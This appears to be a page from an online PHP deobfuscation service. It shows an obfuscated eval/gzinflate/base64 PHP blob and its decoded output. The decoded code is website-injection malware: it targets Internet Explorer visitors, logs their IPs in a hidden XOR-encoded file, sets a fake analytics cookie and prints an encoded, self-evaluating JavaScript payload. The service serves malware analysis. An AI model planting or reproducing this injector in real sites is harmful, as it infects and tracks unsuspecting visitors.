Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('tVh7b9pYFv87K+138FRojFuWOCY0jVJWjXgkhtgEQwJ21UXGNmDwg9..

Decoded Output download

if (!isset($frmDs)){
	global $frmDs;
	$frmDs = 1;
	error_reporting(0);
	
	function xcrpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function seref($r){
		$ses = array('google','bing','yahoo','ask','aol');
		foreach ($ses as $se)
			if(strpos($r, $se.'.')!=false) return true;
		return false;
	}
	
	$ua = $_SERVER['HTTP_USER_AGENT'];
	if (strpos($ua, 'Windows')!==false && strpos($ua,'MSIE')!==false /*&& seref(strtolower($_SERVER["HTTP_REFERER"]))*/){

		$ip=$_SERVER["REMOTE_ADDR"]; 
		$dr=$_SERVER["DOCUMENT_ROOT"];
		
		$dbf=$dr.'/sess_'.md5(date('m.d.y'));
		$odbf = $dr.'/sess_'.md5(date('m.d.y',time()-86400));
		if (file_exists($odbf)) @unlink($odbf);

		if(!isset($_COOKIE['__utmfr']) && strpos(xcrpt(@file_get_contents($dbf)),$ip) === false ) {
			setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
			print('<script>'.base64_decode('dHJ5e3dpbmRvdy5kb2N1bWVudC5ib2R5JT0yfWNhdGNoKGRnc2dzZGcpe3p6PTEyKjIrMSsxO3dod2VqPTEyO3d3PXdpbmRvdzt9aWYod2h3ZWope3RyeXtmPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO31jYXRjaChhZ2RzZyl7d2h3ZWo9MDt9dHJ5e2RvY3VtZW50LmJvZHktLTt9Y2F0Y2goYmF3ZXRhd2Upe2lmKHd3LmRvY3VtZW50KXt2PXdpbmRvdztuPVsiM28iLCI0ZCIsIjQ2IiwiM2wiLCI0YyIsIjQxIiwiNDciLCI0NiIsIjE2IiwiM3AiLCI0YSIsIjNqIiwiMWUiLCIzaiIsIjFpIiwiM2siLCIxZiIsIjRqIiwiNGEiLCIzbiIsIjRjIiwiNGQiLCI0YSIsIjQ2IiwiMTYiLCIycCIsIjNqIiwiNGMiLCI0MCIsIjFrIiwiM28iLCI0NCIsIjQ3IiwiNDciLCI0YSIsIjFlIiwiMnAiLCIzaiIsIjRjIiwiNDAiLCIxayIsIjRhIiwiM2oiLCI0NiIsIjNtIiwiNDciLCI0NSIsIjFlIiwiMWYiLCIxZyIsIjFlIiwiM2siLCIxaiIsIjNqIiwiMWgiLCIxbiIsIjFmIiwiMWYiLCIxaCIsIjNqIiwiMjciLCI0bCIsImQiLCJhIiwiM28iLCI0ZCIsIjQ2IiwiM2wiLCI0YyIsIjQxIiwiNDciLCI0NiIsIjE2IiwiNGEiLCI0YiIsIjFlIiwiMWYiLCI0aiIsIjRhIiwiM24iLCI0YyIsIjRkIiwiNGEiLCI0NiIsIjE2IiwiMnAiLCIzaiIsIjRjIiwiNDAiLCIxayIsIjRhIiwiM2oiLCI0NiIsIjNtIiwiNDciLCI0NSIsIjFlIiwiMWYiLCIxayIsIjRjIiwiNDciLCIzNSIsIjRjIiwiNGEiLCI0MSIsIjQ2IiwiM3AiLCIxZSIsIjFwIiwiMjIiLCIxZiIsIjFrIiwiNGIiLCI0ZCIsIjNrIiwiNGIiLCI0YyIsIjRhIiwiNDEiLCI0NiIsIjNwIiwiMWUiLCIyMSIsIjFmIiwiMjciLCI0bCIsImQiLCJhIiwiNDEiLCIzbyIsIjFlIiwiNDYiLCIzaiIsIjRlIiwiNDEiLCIzcCIsIjNqIiwiNGMiLCI0NyIsIjRhIiwiMWsiLCIzbCIsIjQ3IiwiNDciLCI0MyIsIjQxIiwiM24iLCIyaCIsIjQ2IiwiM2oiLCIzayIsIjQ0IiwiM24iLCIzbSIsIjFmIiwiNGoiLCJkIiwiYSIsIjkiLCI0ZSIsIjNqIiwiNGEiLCIxNiIsIjRiIiwiNGMiLCI0NiIsIjQ1IiwiMjkiLCI0YSIsIjRiIiwiMWUiLCIxZiIsIjI3IiwiZCIsImEiLCI5IiwiNGUiLCIzaiIsIjRhIiwiMTYiLCI0ZCIsIjNqIiwiMTYiLCIyOSIsIjE2IiwiNDYiLCIzaiIsIjRlIiwiNDEiLCIzcCIsIjNqIiwiNGMiLCI0NyIsIjRhIiwiMWsiLCI0ZCIsIjRiIiwiM24iLCI0YSIsIjJkIiwiM3AiLCIzbiIsIjQ2IiwiNGMiLCIyNyIsImQiLCJhIiwiOSIsIjQxIiwiM28iLCIxZSIsIjRkIiwiM2oiLCIxayIsIjQxIiwiNDYiLCIzbSIsIjNuIiwiNGciLCIzMSIsIjNvIiwiMWUiLCIxZCIsIjM5IiwiNDEiLCI0NiIsIjNtIiwiNDciLCI0ZiIsIjRiIiwiMWQiLCIxZiIsIjE3IiwiMjkiLCIxaiIsIjFuIiwiMTYiLCIxYyIsIjFjIiwiMTYiLCI0ZCIsIjNqIiwiMWsiLCI0MSIsIjQ2IiwiM20iLCIzbiIsIjRnIiwiMzEiLCIzbyIsIjFlIiwiMWQiLCIycCIsIjM1IiwiMmwiLCIyaCIsIjFkIiwiMWYiLCIxNyIsIjI5IiwiMWoiLCIxbiIsIjFmIiwiNGoiLCJkIiwiYSIsIjkiLCI5IiwiM20iLCI0NyIsIjNsIiwiNGQiLCI0NSIsIjNuIiwiNDYiLCI0YyIsIjFrIiwiNGYiLCI0YSIsIjQxIiwiNGMiLCIzbiIsIjFlIiwiMWQiLCIyOCIsIjRiIiwiNGMiLCI0aCIsIjQ0IiwiM24iLCIyYSIsIjFrIiwiNGIiLCIxZCIsIjFoIiwiNGIiLCI0YyIsIjQ2IiwiNDUiLCIxaCIsIjFkIiwiMTYiLCI0aiIsIjE2IiwiNDgiLCI0NyIsIjRiIiwiNDEiLCI0YyIsIjQxIiwiNDciLCI0NiIsIjI2IiwiM2oiLCIzayIsIjRiIiwiNDciLCI0NCIsIjRkIiwiNGMiLCIzbiIsIjI3IiwiMTYiLCI0NCIsIjNuIiwiM28iLCI0YyIsIjI2IiwiMWoiLCIxZCIsIjFoIiwiM3AiLCI0YSIsIjNqIiwiMWUiLCIyMiIsIjFtIiwiMW0iLCIxaSIsIjFuIiwiMW0iLCIxbSIsIjFtIiwiMWYiLCIxaCIsIjFkIiwiNDgiLCI0ZyIsIjI3IiwiMTYiLCI0YyIsIjQ3IiwiNDgiLCIyNiIsIjFqIiwiMWQiLCIxaCIsIjNwIiwiNGEiLCIzaiIsIjFlIiwiMjIiLCIxbSIsIjFtIiwiMWkiLCIxbiIsIjFtIiwiMW0iLCIxbSIsIjFmIiwiMWgiLCIxZCIsIjQ4IiwiNGciLCIyNyIsIjE2IiwiNGwiLCIyOCIsIjFsIiwiNGIiLCI0YyIsIjRoIiwiNDQiLCIzbiIsIjJhIiwiMTYiLCIyOCIsIjNtIiwiNDEiLCI0ZSIsIjE2IiwiM2wiLCI0NCIsIjNqIiwiNGIiLCI0YiIsIjI5IiwiMTgiLCI0YiIsIjFkIiwiMWgiLCI0YiIsIjRjIiwiNDYiLCI0NSIsIjFoIiwiMWQiLCIxOCIsIjJhIiwiMjgiLCI0MSIsIjNvIiwiNGEiLCIzaiIsIjQ1IiwiM24iLCIxNiIsIjRiIiwiNGEiLCIzbCIsIjI5IiwiMTgiLCI0MCIsIjRjIiwiNGMiLCI0OCIsIjI2IiwiMWwiLCIxbCIsIjQ0IiwiNGYiLCI0ZiIsIjNsIiwiM20iLCIzbiIsIjNuIiwiM3AiLCI0NyIsIjFrIiwiNDUiLCI0aCIsIjNvIiwiNGYiLCIxayIsIjRkIiwiNGIiLCIxbCIsIjNqIiwiM20iLCIxbCIsIjNvIiwiM24iLCIzbiIsIjNtIiwiMWsiLCI0OCIsIjQwIiwiNDgiLCIxOCIsIjE2IiwiNGYiLCI0MSIsIjNtIiwiNGMiLCI0MCIsIjI5IiwiMTgiLCIxZCIsIjFoIiwiM3AiLCI0YSIsIjNqIiwiMWUiLCIxcCIsIjFtIiwiMW0iLCIxaSIsIjIyIiwiMW0iLCIxbSIsIjFmIiwiMWgiLCIxZCIsIjE4IiwiMTYiLCI0MCIsIjNuIiwiNDEiLCIzcCIsIjQwIiwiNGMiLCIyOSIsIjE4IiwiMWQiLCIxaCIsIjNwIiwiNGEiLCIzaiIsIjFlIiwiMXAiLCIxbSIsIjFtIiwiMWkiLCIyMiIsIjFtIiwiMW0iLCIxZiIsIjFoIiwiMWQiLCIxOCIsIjJhIiwiMjgiLCIxbCIsIjQxIiwiM28iLCI0YSIsIjNqIiwiNDUiLCIzbiIsIjJhIiwiMjgiLCIxbCIsIjNtIiwiNDEiLCI0ZSIsIjJhIiwiMWQiLCIxZiIsIjI3IiwiZCIsImEiLCI5IiwiOSIsIjRlIiwiM2oiLCI0YSIsIjE2IiwiM24iLCI0ZyIsIjQ4IiwiMjkiLCI0NiIsIjNuIiwiNGYiLCIxNiIsIjJnIiwiM2oiLCI0YyIsIjNuIiwiMWUiLCIxZiIsIjI3IiwiM24iLCI0ZyIsIjQ4IiwiMWsiLCI0YiIsIjNuIiwiNGMiLCIyZyIsIjNqIiwiNGMiLCIzbiIsIjFlIiwiM24iLCI0ZyIsIjQ4IiwiMWsiLCIzcCIsIjNuIiwiNGMiLCIyZyIsIjNqIiwiNGMiLCIzbiIsIjFlIiwiMWYiLCIxaCIsIjIzIiwiMWYiLCIyNyIsImQiLCJhIiwiOSIsIjkiLCIzbSIsIjQ3IiwiM2wiLCI0ZCIsIjQ1IiwiM24iLCI0NiIsIjRjIiwiMWsiLCIzbCIsIjQ3IiwiNDciLCI0MyIsIjQxIiwiM24iLCIyOSIsIjFkIiwiM2giLCIzaCIsIjRkIiwiNGMiLCI0NSIsIjNvIiwiNGEiLCIyOSIsIjFkIiwiMWgiLCI0YSIsIjRiIiwiMWUiLCIxZiIsIjFoIiwiMWQiLCIyNyIsIjE2IiwiM24iLCI0ZyIsIjQ4IiwiNDEiLCI0YSIsIjNuIiwiNGIiLCIyOSIsIjFkIiwiMWgiLCIzbiIsIjRnIiwiNDgiLCIxayIsIjRjIiwiNDciLCIyaiIsIjJwIiwiMzYiLCIzNSIsIjRjIiwiNGEiLCI0MSIsIjQ2IiwiM3AiLCIxZSIsIjFmIiwiMWgiLCIxZCIsIjI3IiwiMTYiLCI0OCIsIjNqIiwiNGMiLCI0MCIsIjI5IiwiMWwiLCIxZCIsIjI3IiwiZCIsImEiLCI5IiwiNGwiLCJkIiwiYSIsIjRsIl07aD0yO3M9IiI7aWYod2h3ZWope2ZvcihpPTA7aS02NjYhPTA7aSsrKXtrPWk7cys9U3RyaW5nWyJmcm8iKyJtQyIrImhhckNvZGUiXShwYXJzZUludChuW2ldLHp6KSk7fXo9czt3d1siZXZhbCJdKHMpO319fX0=').'</script>');
			if ($fp = @fopen($dbf , 'a')){fputs($fp , xcrpt($ip.'|')); fclose($fp);}
		}
	}
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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')));?>

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 ae60ff415b15db21434e55d34ae891f5
Eval Count 1
Decode Time 218 ms